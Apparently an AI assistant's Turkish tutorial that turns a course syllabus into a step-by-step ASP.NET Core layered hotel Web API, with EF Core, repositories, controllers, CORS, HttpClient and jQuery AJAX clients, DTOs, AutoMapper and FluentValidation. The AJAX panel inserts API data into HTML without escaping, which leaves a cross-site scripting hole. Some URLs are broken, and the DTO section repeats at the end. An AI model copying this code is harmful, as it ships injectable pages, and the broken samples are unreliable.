Gönderdiğiniz müfredat dosyasını en ince ayrıntısına kadar inceledim. Bu eğitim içeriği, Asp.Net Core mimarisi kullanılarak modern, katmanlı (N-Tier Architecture) bir Web API projesinin sıfırdan geliştirilmesini, MSSQL veritabanına bağlanmasını, güvenlik (JWT, Identity) adımlarının kurgulanmasını ve ardından hem kendi yazdığımız API'nin hem de dış dünyadaki hazır servislerin (RapidAPI) frontend tarafında tüketilmesini (Consume) hedefleyen kapsamlı bir rehberdir.

İstediğiniz kurallar doğrultusunda; tüm süre (dakika/saniye) ifadelerini, "Önizleme" ve ders adetlerini belirten satırları tamamen temizledim. Anlamsız veya tekrarlayan ifadeleri ayıkladım. Özet geçmeden, her bir ana başlığı detaylı teorik anlatımlar, gerçek dünya örnekleri ve kod uygulamalarıyla zenginleştirerek tasarladım.

Dosya oldukça uzun ve teknik detay seviyesi yüksek olduğu için, konuyu derinlemesine işleyebilmek adına müfredatı mantıksal bölümlere ayırarak parça parça ilerleteceğim. Bu ilk aşamada Giriş, "Öğrenecekleriniz" Bölümünün Analizi ve Temel API Katmanlarının İnşası konularını ele alıyoruz.


"Öğrenecekleriniz" Paragrafının Detaylı Açıklaması

Bu kursun "Öğrenecekleriniz" bölümü, modern bir backend geliştiricinin kurumsal projelerde ihtiyaç duyacağı en kritik yetkinlikleri özetlemektedir:


BÖLÜM 1: Giriş ve Kurumsal Katmanlı Mimari (N-Tier Architecture) Altyapısı

Gerçek dünya projelerinde tüm kodların tek bir projeye yazılması (Monolitik/Spagetti kod) sürdürülebilir değildir. Bu yüzden projemizi Giriş ve Katmanların Oluşturulması felsefesine uygun olarak 5 temel katmana ayırarak tasarlıyoruz.

1. Katmanların Tasarımı ve Referans Haritası

Mimaride katmanların birbirini tanıma (referans etme) kuralı çok katıdır. Aşağıdaki hiyerarşi, projenin stabilizesi için şarttır:


2. Entitylerin (Veri Modellerinin) Oluşturulması Uygulaması

Otel rezervasyon sistemi projemizin temel taşlarını oluşturacak sınıfları (Entity) tasarlayalım. OtelProject.Entity katmanında bu sınıfları POCO (Plain Old CLR Objects) olarak tanımlarız.

Uygulama: Sınıfların Tanımlanması

// Room (Oda) Sınıfı

public class Room

{

    public int RoomID { get; set; }

    public string RoomNumber { get; set; }

    public string RoomCoverImage { get; set; }

    public decimal Price { get; set; }

    public string Title { get; set; }

    public string Description { get; set; }

}

 

// Staff (Personel) Sınıfı

public class Staff

{

    public int StaffID { get; set; }

    public string Name { get; set; }

    public string Title { get; set; }

    public string SocialMediaUrl { get; set; }

}


3. DbContext, Veritabanı Bağlantısı ve Migration Süreci

Entity'lerimizi oluşturduktan sonra OtelProject.DataAccess katmanında Entity Framework Core ve SQL Server paketlerini kurarak MSSQL bağlantısını kurgulamamız gerekir.

Uygulama: Context Sınıfı Yazımı

using Microsoft.EntityFrameworkCore;

 

public class Context : DbContext

{

    protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)

    {

        // Gerçek dünya senaryosunda SQL Server bağlantı adresi buraya yazılır.

        optionsBuilder.UseSqlServer("Server=YOUR_SERVER_NAME;Database=OtelDb;Trusted_Connection=True;TrustServerCertificate=True;");

    }

 

    public DbSet<Room> Rooms { get; set; }

    public DbSet<Staff> Staffs { get; set; }

}

Migration (Veritabanına Yansıtma) Adımları:

Package Manager Console açılarak aşağıdaki kodlar sırasıyla çalıştırılır:

  1. Add-Migration Mig_Initial (C# sınıflarını SQL koduna dönüştüren talimat dosyasını hazırlar)
  2. Update-Database (SQL Server üzerinde OtelDb adında bir veritabanı açar ve Rooms, Staffs tablolarını fiziksel olarak oluşturur)

4. Abstract Interfaces ve Generic Repository Tasarım Kalıbı (Design Pattern)

Her tablo için tek tek Ekle, Sil, Listele kodları yazmak yerine, DRY (Don't Repeat Yourself) prensibine uyarak Generic Repository şablonu hazırlıyoruz.

Uygulama: Generic DAL (Data Access Layer) Arayüzü

// Tüm sınıflar için ortak CRUD imzasını taşıyan Generic Arayüz

public interface IGenericDal<T> where T : class

{

    void Insert(T t);

    void Delete(T t);

    void Update(T t);

    List<T> GetList();

    T GetById(int id);

}

 

// Staff tablosuna özgü interface (Gerekirse buraya özel metotlar eklenebilir)

public interface IStaffDal : IGenericDal<Staff>

{

}

Uygulama: Generic Repository Sınıfı

public class GenericRepository<T> : IGenericDal<T> where T : class

{

    public void Insert(T t)

    {

        using var context = new Context();

        context.Set<T>().Add(t);

        context.SaveChanges();

    }

 

    public void Delete(T t)

    {

        using var context = new Context();

        context.Set<T>().Remove(t);

        context.SaveChanges();

    }

 

    public void Update(T t)

    {

        using var context = new Context();

        context.Set<T>().Update(t);

        context.SaveChanges();

    }

 

    public List<T> GetList()

    {

        using var context = new Context();

        return context.Set<T>().ToList();

    }

 

    public T GetById(int id)

    {

        using var context = new Context();

        return context.Set<T>().Find(id);

    }

}

Artık Staff nesnesi için veritabanı işlemlerini yürütecek olan somut (Concrete) sınıfımızı bu generic yapıdan kolayca türetebiliriz:

public class EfStaffRepository : GenericRepository<Staff>, IStaffDal

{

    // İlerleyen bölümlerde personele özgü özel SQL sorguları buraya yazılacak.

}


5. Business (İş) Katmanı: Servis ve Manager Yapısı

API katmanı doğrudan DataAccess katmanı ile konuşmamalıdır. Araya kontrol mekanizması olan Business katmanını koyuyoruz.

Uygulama: İş Mantığı Arayüzü ve Yönetici Sınıfı

public interface IStaffService

{

    void TInsert(Staff staff);

    void TDelete(Staff staff);

    void TUpdate(Staff staff);

    List<Staff> TGetList();

    Staff TGetById(int id);

}

 

public class StaffManager : IStaffService

{

    private readonly IStaffDal _staffDal;

 

    // Bağımlılığı gevşetmek için Dependency Injection deseni uyguluyoruz

    public StaffManager(IStaffDal staffDal)

    {

        _staffDal = staffDal;

    }

 

    public void TInsert(Staff staff)

    {

        // Örnek İş Kuralı: Personel ismi boş kaydedilemez.

        if (!string.IsNullOrEmpty(staff.Name))

        {

            _staffDal.Insert(staff);

        }

    }

 

    public void TDelete(Staff staff) => _staffDal.Delete(staff);

    public void TUpdate(Staff staff) => _staffDal.Update(staff);

    public List<Staff> TGetList() => _staffDal.GetList();

    public Staff TGetById(int id) => _staffDal.GetById(id);

}


BÖLÜM 2: Swagger ve API Kontrolörlerinin (Controllers) Kodlanması

Katmanlar arası bağları kurup veritabanı şemasını oturttuktan sonra, dış dünyaya bu verileri güvenli ve standart bir formatta (JSON) açacak olan API uç noktalarını (Endpoints) kodlamaya geçiyoruz.

1. API Kontrolörü Mimari Altyapısı

Bir API sınıfı standart bir web sayfasından farklı olarak ControllerBase sınıfından türetilir ve üzerinde [ApiController] ile [Route("api/[controller]")] niteliklerini (Attributes) taşır. Bu sayede gelen HTTP istekleri otomatik olarak ilgili metotlara yönlendirilir.

2. Staff Controller Uygulaması

OtelProject.WebApi projesinde Controllers klasörü altında StaffController sınıfını oluşturuyoruz. StaffManager sınıfını constructor yöntemiyle enjekte ederek tüm temel CRUD işlemlerini dış dünyaya açıyoruz.

Uygulama: Tam Kapsamlı API Denetleyicisi

using Microsoft.AspNetCore.Mvc;

 

[Route("api/[controller]")]

[ApiController]

public class StaffController : ControllerBase

{

    private readonly IStaffService _staffService;

 

    public StaffController(IStaffService staffService)

    {

        _staffService = staffService;

    }

 

    // 1. Tüm Personelleri Getiren Uç Nokta

    [HttpGet]

    public IActionResult StaffList()

    {

        var values = _staffService.TGetList();

        return Ok(values); // HTTP 200 Durum Kodu ile verileri JSON döndürür.

    }

 

    // 2. Yeni Personel Ekleme Uç Noktası

    [HttpPost]

    public IActionResult AddStaff(Staff staff)

    {

        _staffService.TInsert(staff);

        return StatusCode(201); // HTTP 201 Created durum kodu döner.

    }

 

    // 3. Personel Silme Uç Noktası

    [HttpDelete("{id}")]

    public IActionResult DeleteStaff(int id)

    {

        var value = _staffService.TGetById(id);

        if (value == null)

        {

            return NotFound("Personel bulunamadı."); // HTTP 404

        }

        _staffService.TDelete(value);

        return Ok("Personel başarıyla silindi.");

    }

 

    // 4. Personel Güncelleme Uç Noktası

    [HttpPut]

    public IActionResult UpdateStaff(Staff staff)

    {

        _staffService.TUpdate(staff);

        return Ok("Personel bilgileri güncellendi.");

    }

 

    // 5. ID Değerine Göre Tek Bir Personel Getirme Uç Noktası

    [HttpGet("{id}")]

    public IActionResult GetStaff(int id)

    {

        var value = _staffService.TGetById(id);

        if (value == null)

        {

            return NotFound();

        }

        return Ok(value);

    }

}


3. Swagger Giriş ve Test İşlemleri

Yazdığımız API metodlarını tarayıcı üzerinden doğrudan test etmek zordur (özellikle POST, PUT ve DELETE isteklerini). Bu aşamada devreye Swagger aracı girer.

{

  "name": "Ahmet Yılmaz",

  "title": "Resepsiyon Şefi",

  "socialMediaUrl": "://instagram.com"

}


 

 

 

Harika! Planladığımız doğrultuda detay seviyesini koruyarak, teorik altyapıyı hem kurumsal backend yaklaşımları (HttpClient) hem de modern dinamik ön yüz teknikleri (AJAX/JavaScript) ile harmanlayarak ilerliyoruz.

Bu bölümde API CORS Politikaları, Frontend Katmanında API'lerin HttpClient ile Consume Edilmesi ve Personel Modülü Üzerinde Tüm CRUD İşlemlerinin JavaScript/AJAX Entegrasyonu konularını en ince detayına kadar ele alacağız.


BÖLÜM 3: API CORS Politikaları ve MVC ile Ön Yüzün İnşası

Farklı portlarda veya farklı sunucularda çalışan iki projenin (Örn: API projemiz localhost:5000 portunda, Ön Yüz projemiz localhost:7000 portunda çalışıyor olsun) birbiriyle güvenli bir şekilde veri alışverişi yapabilmesi için API tarafında bir güvenlik kapısının açılması gerekir. Tarayıcılar, varsayılan olarak bu tür farklı kökenli (Cross-Origin) istekleri engeller. Buna CORS (Cross-Origin Resource Sharing) politikası denir.

1. API Projesinde CORS Politikasının Yapılandırılması

API projemizin Program.cs (veya .NET 5/3.1 kullanılıyorsa Startup.cs) dosyasına giderek, ön yüz projemizden gelecek olan istekleri yasal kabul edecek politikayı tanımlıyoruz.

Uygulama: CORS Konfigürasyonu (Program.cs)

var builder = WebApplication.CreateBuilder(args);

 

// 1. CORS Servis Alanının Tanımlanması

builder.Services.AddCors(options =>

{

    options.AddPolicy("OtelApiCors", policy =>

    {

        policy.WithOrigins("https://localhost:7000", "http://localhost:7000") // Ön yüz projesinin adresi

              .AllowAnyHeader()  // Her türlü HTTP başlığına (Content-Type, Authorization vb.) izin ver

              .AllowAnyMethod(); // GET, POST, PUT, DELETE metotlarının tamamına izin ver

    });

});

 

builder.Services.AddControllers();

var app = builder.Build();

 

// 2. CORS Ara Katmanının (Middleware) Aktif Edilmesi

app.UseCors("OtelApiCors");

 

app.UseAuthorization();

app.MapControllers();

app.Run();


2. Ön Yüz (Frontend) MVC Projesinde Veri Taşıma Modellerinin (ViewModel) Hazırlanması

Ön yüz projemizin veritabanı katmanıyla (DataAccess) doğrudan hiçbir bağı bulunmadığı için, API'den dönecek JSON verilerini karşılayacak hafif sınıflara (ViewModel) ihtiyacımız vardır. OtelProject.Frontend projesinde Models/Staff klasörü altında bu modelleri oluşturuyoruz.

Uygulama: Ön Yüz Sınıfları

// API'den gelen personel listesini karşılayacak model

public class ResultStaffViewModel

{

    public int StaffID { get; set; }

    public string Name { get; set; }

    public string Title { get; set; }

    public string SocialMediaUrl { get; set; }

}

 

// Yeni personel eklerken formdan alınacak verilerin modeli

public class CreateStaffViewModel

{

    public string Name { get; set; }

    public string Title { get; set; }

    public string SocialMediaUrl { get; set; }

}

 

// Güncelleme ekranında kullanılacak model

public class UpdateStaffViewModel

{

    public int StaffID { get; set; }

    public string Name { get; set; }

    public string Title { get; set; }

    public string SocialMediaUrl { get; set; }

}


BÖLÜM 4: Ön Yüzde HttpClient ile API Tüketimi (Consume)

Şimdi, ön yüz projemizin arka planında (Controller seviyesinde) API'ye asenkron HTTP çağrıları atarak personel verilerini nasıl yöneteceğimizi kodlayalım. System.Net.Http.Json ve Newtonsoft.Json kütüphanelerini kullanarak JSON verilerini C# nesnelerine (Deserialization) ve C# nesnelerini JSON metnine (Serialization) dönüştüreceğiz.

1. Personel Listeleme, Ekleme ve Silme İşlemleri

OtelProject.Frontend projesinde Controllers altına StaffController adında bir MVC denetleyicisi ekliyoruz.

Uygulama: HttpClient Kullanan MVC Controller Sınıfı

using Microsoft.AspNetCore.Mvc;

using Newtonsoft.Json;

using System.Text;

 

public class StaffController : Controller

{

    private readonly IHttpClientFactory _httpClientFactory;

 

    // HttpClient nesnelerini güvenli ve performanslı yönetmek için enjekte ediyoruz

    public StaffController(IHttpClientFactory httpClientFactory)

    {

        _httpClientFactory = httpClientFactory;

    }

 

    // 1. PERSONEL LİSTELEME (GET CONSUME)

    public async Task<IActionResult> Index()

    {

        var client = _httpClientFactory.CreateClient();

        var responseMessage = await client.GetAsync("http://localhost:5000/api/Staff");

       

        if (responseMessage.IsSuccessStatusCode)

        {

            var jsonData = await responseMessage.Content.ReadAsStringAsync();

            var values = JsonConvert.DeserializeObject<List<ResultStaffViewModel>>(jsonData);

            return View(values);

        }

        return View();

    }

 

    // 2. YENİ PERSONEL EKLEME (POST CONSUME)

    [HttpGet]

    public IActionResult AddStaff()

    {

        return View();

    }

 

    [HttpPost]

    public async Task<IActionResult> AddStaff(CreateStaffViewModel model)

    {

        var client = _httpClientFactory.CreateClient();

        var jsonData = JsonConvert.SerializeObject(model);

        StringContent stringContent = new StringContent(jsonData, Encoding.UTF8, "application/json");

       

        var responseMessage = await client.PostAsync("http://localhost:5000/api/Staff", stringContent);

        if (responseMessage.IsSuccessStatusCode)

        {

            return RedirectToAction("Index");

        }

        return View();

    }

 

    // 3. PERSONEL SİLME (DELETE CONSUME)

    public async Task<IActionResult> DeleteStaff(int id)

    {

        var client = _httpClientFactory.CreateClient();

        var responseMessage = await client.DeleteAsync($"http://localhost:5000/api/Staff/{id}");

       

        if (responseMessage.IsSuccessStatusCode)

        {

            return RedirectToAction("Index");

        }

        return RedirectToAction("Index"); // Hata durumunda da listeye döner (Geliştirilebilir)

    }

 

    // 4. GÜNCELLENECEK VERİYİ SAYFAYA TAŞIMA (GET BY ID)

    [HttpGet]

    public async Task<IActionResult> UpdateStaff(int id)

    {

        var client = _httpClientFactory.CreateClient();

        var responseMessage = await client.GetAsync($"http://localhost:5000/api/Staff/{id}");

       

        if (responseMessage.IsSuccessStatusCode)

        {

            var jsonData = await responseMessage.Content.ReadAsStringAsync();

            var value = JsonConvert.DeserializeObject<UpdateStaffViewModel>(jsonData);

            return View(value);

        }

        return RedirectToAction("Index");

    }

 

    // 5. PERSONEL GÜNCELLEME (PUT CONSUME)

    [HttpPost]

    public async Task<IActionResult> UpdateStaff(UpdateStaffViewModel model)

    {

        var client = _httpClientFactory.CreateClient();

        var jsonData = JsonConvert.SerializeObject(model);

        StringContent stringContent = new StringContent(jsonData, Encoding.UTF8, "application/json");

       

        var responseMessage = await client.PutAsync("http://localhost:5000/api/Staff", stringContent);

        if (responseMessage.IsSuccessStatusCode)

        {

            return RedirectToAction("Index");

        }

        return View();

    }

}


BÖLÜM 5: Mimariyi AJAX ve JavaScript Örnekleriyle Destekleme

Kurumsal projelerde, kullanıcının sayfayı tamamen yenilemeden (Page Refresh) hızlı bir şekilde veri eklemesi, silmesi veya listelemesi istenir. Bu senaryoda sayfa yenileme yükünü ortadan kaldırmak için istemci (Client) tarafında JQuery AJAX teknolojisini kullanarak doğrudan API uç noktalarımızla konuşabiliriz.

Aşağıdaki HTML tasarımı ve JavaScript kod blokları yardımıyla, arka planda sayfa git-geli yaşanmadan API'ye nasıl doğrudan bağlanabileceğimizi simüle edelim.

1. Dinamik Personel Yönetim Paneli Arayüzü

Ön yüz projemizde boş bir Views/Staff/AjaxPanel.cshtml sayfası oluşturup içerisine şu kodları entegre ediyoruz:

@{

    Layout = "~/Views/Shared/_Layout.cshtml"; // Temel Bootstrap içeren Layout yapısı

}

 

<div class="container mt-5">

    <h2 class="mb-4">Dinamik Personel Yönetim Paneli (AJAX)</h2>

 

    <!-- Yeni Personel Ekleme Form Alanı -->

    <div class="card p-4 mb-4 shadow-sm">

        <h4>Yeni Personel Ekle</h4>

        <div class="row g-3">

            <div class="col-md-4">

                <input type="text" id="txtStaffName" class="form-control" placeholder="Adı Soyadı" />

            </div>

            <div class="col-md-4">

                <input type="text" id="txtStaffTitle" class="form-control" placeholder="Görevi / Unvanı" />

            </div>

            <div class="col-md-4">

                <input type="text" id="txtStaffSocial" class="form-control" placeholder="Sosyal Medya Linki" />

            </div>

        </div>

        <button type="button" id="btnSaveStaff" class="btn btn-success mt-3 w-25">Personeli Kaydet</button>

    </div>

 

    <!-- Personel Listesinin Basılacağı Tablo Bölümü -->

    <div class="card p-4 shadow-sm">

        <div class="d-flex justify-content-between mb-3">

            <h4>Aktif Personel Listesi</h4>

            <button type="button" id="btnRefreshList" class="btn btn-primary">Listeyi Yenile</button>

        </div>

        <table class="table table-bordered table-striped">

            <thead class="table-dark">

                <tr>

                    <th>#</th>

                    <th>Adı Soyadı</th>

                    <th>Görevi</th>

                    <th>Sosyal Medya</th>

                    <th>İşlemler</th>

                </tr>

            </thead>

            <tbody id="staffTableBody">

                <!-- Veriler AJAX ile buraya yüklenecektir -->

            </tbody>

        </table>

    </div>

</div>

 

<!-- JQuery Kütüphanesi Dahil Ediliyor -->

<script src="https://jquery.com"></script>

 

<script>

    // Sayfa tamamen yüklendiğinde çalışacak ana JavaScript bloğu

    $(document).ready(function () {

        loadStaffList(); // İlk açılışta listeyi doldur

 

        // 1. AJAX İLE LİSTELEME FONKSİYONU

        function loadStaffList() {

            $.ajax({

                url: "http://localhost:5000/api/Staff", // API Uç Noktası

                type: "GET",

                dataType: "json",

                success: function (data) {

                    let htmlRows = "";

                    $.each(data, function (index, item) {

                        htmlRows += `

                            <tr>

                                <td>${item.staffID}</td>

                                <td>${item.name}</td>

                                <td><span class="badge bg-secondary">${item.title}</span></td>

                                <td>${item.socialMediaUrl}</td>

                                <td>

                                    <button class="btn btn-danger btn-sm btn-delete" data-id="${item.staffID}">Sil</button>

                                </td>

                            </tr>

                        `;

                    });

                    $("#staffTableBody").html(htmlRows); // Tablo gövdesine HTML'i enjekte et

                },

                error: function (xhr, status, error) {

                    alert("Veriler çekilirken bir hata oluştu: " + error);

                }

            });

        }

 

        // Listeyi Yenile Buton Tetikleyicisi

        $("#btnRefreshList").click(function () {

            loadStaffList();

        });

 

        // 2. AJAX İLE YENİ KAYIT EKLEME FONKSİYONU

        $("#btnSaveStaff").click(function () {

            // Arayüzdeki input değerlerini oku

            let staffData = {

                name: $("#txtStaffName").val(),

                title: $("#txtStaffTitle").val(),

                socialMediaUrl: $("#txtStaffSocial").val()

            };

 

            $.ajax({

                url: "http://localhost:5000/api/Staff",

                type: "POST",

                contentType: "application/json; charset=utf-8",

                data: JSON.stringify(staffData), // JSON formatına dönüştürerek gönder

                success: function (response) {

                    alert("Personel sisteme başarıyla eklendi!");

                    // Inputları temizle

                    $("#txtStaffName").val("");

                    $("#txtStaffTitle").val("");

                    $("#txtStaffSocial").val("");

                    // Tabloyu güncel durumla yeniden yükle

                    loadStaffList();

                },

                error: function (xhr, status, error) {

                    alert("Kayıt esnasında hata meydana geldi.");

                }

            });

        });

 

        // 3. AJAX İLE DİNAMİK SİLME İŞLEMİ

        // Sayfa yüklendikten sonra dinamik oluşan butonları yakalamak için 'on' metodunu kullanıyoruz

        $(document).on("click", ".btn-delete", function () {

            let id = $(this).data("id");

            if (confirm("Bu personeli silmek istediğinize emin misiniz?")) {

                $.ajax({

                    url: `http://localhost:5000/api/Staff/${id}`,

                    type: "DELETE",

                    success: function (result) {

                        alert("Personel silindi.");

                        loadStaffList(); // Tabloyu tazele

                    },

                    error: function (xhr, status, error) {

                        alert("Silme işlemi başarısız oldu.");

                    }

                });

            }

        });

    });

</script>


 

 

Müfredatımızın bu kritik aşamasında, kurumsal mimarilerin en önemli yapı taşlarından olan veri güvenliği, optimizasyon ve doğrulama mekanizmalarını inşa ediyoruz. İstediğiniz üzere Fluent Validation mimarisini çift taraflı (hem API'yi korumak hem de kullanıcıya şık mesajlar sunmak amacıyla) kurgulayacak, DTO yapısı ve AutoMapper entegrasyonuyla projemizi tamamen profesyonel standartlara taşıyacağız.

Bu bölümde DTO Sınıfları, AutoMapper Kurulumu, API ve Frontend Katmanlarında Çift Yönlü Fluent Validation Entegrasyonu ve ModelState Kontrolleri konularını en ince detayına kadar kodlayarak işliyoruz.


BÖLÜM 6: DTO (Data Transfer Object) ve AutoMapper Altyapısı

Veritabanı varlıklarımızı (Entity) doğrudan dış dünyaya veya formlara açmak büyük bir güvenlik ve performans açığıdır. Bu yüzden sadece taşınacak verileri içeren DTO sınıflarını tasarlıyoruz.

1. Dto Katmanının Kurulması

OtelProject.DtoLayer katmanı altında odalar ve hizmetler için veri transfer nesnelerimizi oluşturuyoruz.

Uygulama: Room DTO Sınıfları

namespace OtelProject.DtoLayer.RoomDto

{

    // Oda eklenirken dışarıdan beklenen veri kalıbı

    public class CreateRoomDto

    {

        public string RoomNumber { get; set; }

        public string RoomCoverImage { get; set; }

        public decimal Price { get; set; }

        public string Title { get; set; }

        public string Description { get; set; }

    }

 

    // Oda güncellenirken beklenen veri kalıbı (ID içermek zorundadır)

    public class UpdateRoomDto

    {

        public int RoomID { get; set; }

        public string RoomNumber { get; set; }

        public string RoomCoverImage { get; set; }

        public decimal Price { get; set; }

        public string Title { get; set; }

        public string Description { get; set; }

    }

}


2. AutoMapper ile Nesne Eşleme Entegrasyonu

DTO nesnelerini Entity nesnelerine (veya tam tersi) dönüştürürken tek tek el ile atama yapmak (room.Title = dto.Title gibi) kod kalabalığı yaratır. Bu süreci otomatikleştirmek için hem API hem Frontend projemize AutoMapper.Extensions.Microsoft.DependencyInjection NuGet paketini kuruyoruz.

Uygulama: Eşleme Haritasının (Mapping Profile) Tanımlanması

OtelProject.DtoLayer veya API katmanında bir Mapping klasörü açarak profil sınıfını yazıyoruz:

using AutoMapper;

using OtelProject.DtoLayer.RoomDto;

using OtelProject.Entity;

 

public class AutoMapperConfig : Profile

{

    public AutoMapperConfig()

    {

        // CreateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift yönlü)

        CreateMap<CreateRoomDto, Room>().ReverseMap();

       

        // UpdateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift yönlü)

        CreateMap<UpdateRoomDto, Room>().ReverseMap();

    }

}

API Servis Kaydı (Program.cs):

// AutoMapper profilini sisteme tanıtıyoruz

builder.Services.AddAutoMapper(typeof(AutoMapperConfig));


BÖLÜM 7: API Katmanında "Kapıda Güvenlik" (Fluent Validation)

Kötü niyetli veya eksik verilerin daha Business katmanına dahi ulaşmadan API kapısında reddedilmesi gerekir. Bunun için API projesine FluentValidation.DependencyInjectionExtensions paketi kurulur.

1. Doğrulama Kurallarının Yazılması

Uygulama: Room Validator Sınıfı

using FluentValidation;

using OtelProject.DtoLayer.RoomDto;

 

public class CreateRoomValidator : AbstractValidator<CreateRoomDto>

{

    public CreateRoomValidator()

    {

        RuleFor(x => x.RoomNumber).NotEmpty().WithMessage("Oda numarası boş geçilemez.");

        RuleFor(x => x.Title).NotEmpty().WithMessage("Oda başlığı boş bırakılamaz.");

        RuleFor(x => x.Price).NotEmpty().WithMessage("Fiyat alanı zorunludur.");

        RuleFor(x => x.Title).MaximumLength(50).WithMessage("Lütfen en fazla 50 karakter veri girişi yapınız.");

        RuleFor(x => x.Description).MinimumLength(10).WithMessage("Lütfen oda açıklamasını en az 10 karakter olarak yazınız.");

    }

}

2. API Controller Üzerinde ModelState ve Validation Kontrolü

Validator sınıfını yazdıktan sonra API kontrolörümüz içinde doğrulama sonuçlarını denetliyoruz.

Uygulama: Room2Controller Sınıfı (DTO, AutoMapper ve Validation Birleşimi)

using AutoMapper;

using FluentValidation;

using Microsoft.AspNetCore.Mvc;

using OtelProject.DtoLayer.RoomDto;

using OtelProject.Entity;

 

[Route("api/[controller]")]

[ApiController]

public class Room2Controller : ControllerBase

{

    private readonly IRoomService _roomService;

    private readonly IMapper _mapper;

    private readonly IValidator<CreateRoomDto> _validator;

 

    public Room2Controller(IRoomService roomService, IMapper mapper, IValidator<CreateRoomDto> validator)

    {

        _roomService = roomService;

        _mapper = mapper;

        _validator = validator;

    }

 

    [HttpPost]

    public IActionResult AddRoom(CreateRoomDto createRoomDto)

    {

        // 1. Doğrulama kurallarını çalıştır

        var validationResult = _validator.Validate(createRoomDto);

       

        if (!validationResult.IsValid)

        {

            // Kurallara uymayan hataları ModelState'e aktar ve HTTP 400 Bad Request dön

            foreach (var error in validationResult.Errors)

            {

                ModelState.AddModelError(error.PropertyName, error.ErrorMessage);

            }

            return BadRequest(ModelState); // Hatalar JSON olarak kapıda reddedilir.

        }

 

        // 2. Doğrulama başarılı ise DTO'yu Entity'e eşle ve kaydet

        var room = _mapper.Map<Room>(createRoomDto);

        _roomService.TInsert(room);

        return Ok("Oda başarıyla eklendi.");

    }

}


BÖLÜM 8: Frontend MVC Katmanında "Şık Doğrulama Mesajları"

API'mizi güvenceye aldık. Ancak kullanıcı arayüzünde (Frontend MVC) bir hata oluştuğunda, kullanıcının önüne kod blokları veya ham JSON hataları atmak yerine, bootstrap uyarı pencereleriyle şık mesajlar göstermeliyiz. Ön yüz projesine de FluentValidation.AspNetCore paketi eklenir.

1. Frontend Validasyon Kuralları ve Servis Tanımlaması

Ön yüz projesinin Program.cs dosyasına validasyon servisini ekliyoruz:

using FluentValidation.AspNetCore;

 

builder.Services.AddControllersWithViews()

    .AddFluentValidation(fv => fv.RegisterValidatorsFromAssemblyContaining<CreateRoomValidator>());

2. Frontend Controller ve Şık Arayüz Tasarımı

Uygulama: Form Kontrolü Sağlayan MVC Metodu

[HttpPost]

public async Task<IActionResult> AddRoom(CreateRoomDto model)

{

    // Eğer Frontend seviyesindeki Fluent Validation kurallarına takılırsa, API'ye hiç gitme

    if (!ModelState.IsValid)

    {

        return View(model); // Hata mesajlarıyla birlikte formu kullanıcıya geri döner.

    }

 

    var client = _httpClientFactory.CreateClient();

    var jsonData = JsonConvert.SerializeObject(model);

    StringContent stringContent = new StringContent(jsonData, Encoding.UTF8, "application/json");

   

    var responseMessage = await client.PostAsync("http://localhost:5000/api/Room2", stringContent);

   

    if (responseMessage.IsSuccessStatusCode)

    {

        return RedirectToAction("Index");

    }

    else if (responseMessage.StatusCode == System.Net.HttpStatusCode.BadRequest)

    {

        // Eğer API katmanındaki ekstra bir kurala takıldıysa oradan gelen hataları da yakala

        var errorContent = await responseMessage.Content.ReadAsStringAsync();

        ModelState.AddModelError(string.Empty, "API Doğrulama Hatası: " + errorContent);

    }

   

    return View(model);

}

Uygulama: Şık Form Tasarımı (AddRoom.cshtml)

Kullanıcıya form üzerinde hataları kırmızı renkte ve zarif bir şekilde göstermek için asp-validation-for etiketlerinden (Tag Helpers) yararlanıyoruz:

@model OtelProject.DtoLayer.RoomDto.CreateRoomDto

 

<div class="container mt-5">

    <div class="card shadow-sm p-4">

        <h3 class="text-primary mb-3">Yeni Oda Tanımlama Ekranı</h3>

       

        <form method="post">

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Numarası</label>

                <input type="text" asp-for="RoomNumber" class="form-control" placeholder="Örn: 302" />

                <!-- Şık hata mesajı alanı -->

                <span asp-validation-for="RoomNumber" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Başlığı</label>

                <input type="text" asp-for="Title" class="form-control" placeholder="Örn: Kral Dairesi Sea View" />

                <span asp-validation-for="Title" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Gecelik Fiyatı ($)</label>

                <input type="number" asp-for="Price" class="form-control" />

                <span asp-validation-for="Price" class="text-danger small fw-bold"></span>

            </div>

 

            <div class="mb-3">

                <label class="form-label fw-bold">Oda Açıklaması</label>

                <textarea asp-for="Description" rows="4" class="form-control" placeholder="Oda özelliklerini belirtiniz..."></textarea>

                <span asp-validation-for="Description" class="text-danger small fw-bold"></span>

            </div>

 

            <button type="submit" class="btn btn-primary px-4">Odayı Yayına Al</button>

        </form>

    </div>

</div>


 

 

Müfredatımızın bu kritik aşamasında, kurumsal mimarilerin en önemli yapı taşlarından olan veri güvenliği, optimizasyon ve doğrulama mekanizmalarını inşa ediyoruz. İstediğiniz üzere Fluent Validation mimarisini çift taraflı (hem API'yi korumak hem de kullanıcıya şık mesajlar sunmak amacıyla) kurgulayacak, DTO yapısı ve AutoMapper entegrasyonuyla projemizi tamamen profesyonel standartlara taşıyacağız.

Bu bölümde DTO Sınıfları, AutoMapper Kurulumu, API ve Frontend Katmanlarında Çift Yönlü Fluent Validation Entegrasyonu ve ModelState Kontrolleri konularını en ince detayına kadar kodlayarak işliyoruz.


BÖLÜM 6: DTO (Data Transfer Object) ve AutoMapper Altyapısı

Veritabanı varlıklarımızı (Entity) doğrudan dış dünyaya veya formlara açmak büyük bir güvenlik ve performans açığıdır. Bu yüzden sadece taşınacak verileri içeren DTO sınıflarını tasarlıyoruz.

1. Dto Katmanının Kurulması

OtelProject.DtoLayer katmanı altında odalar ve hizmetler için veri transfer nesnelerimizi oluşturuyoruz.

Uygulama: Room DTO Sınıfları

namespace OtelProject.DtoLayer.RoomDto

{

    // Oda eklenirken dışarıdan beklenen veri kalıbı

    public class CreateRoomDto

    {

        public string RoomNumber { get; set; }

        public string RoomCoverImage { get; set; }

        public decimal Price { get; set; }

        public string Title { get; set; }

        public string Description { get; set; }

    }

 

    // Oda güncellenirken beklenen veri kalıbı (ID içermek zorundadır)

    public class UpdateRoomDto

    {

        public int RoomID { get; set; }

        public string RoomNumber { get; set; }

        public string RoomCoverImage { get; set; }

        public decimal Price { get; set; }

        public string Title { get; set; }

        public string Description { get; set; }

    }

}


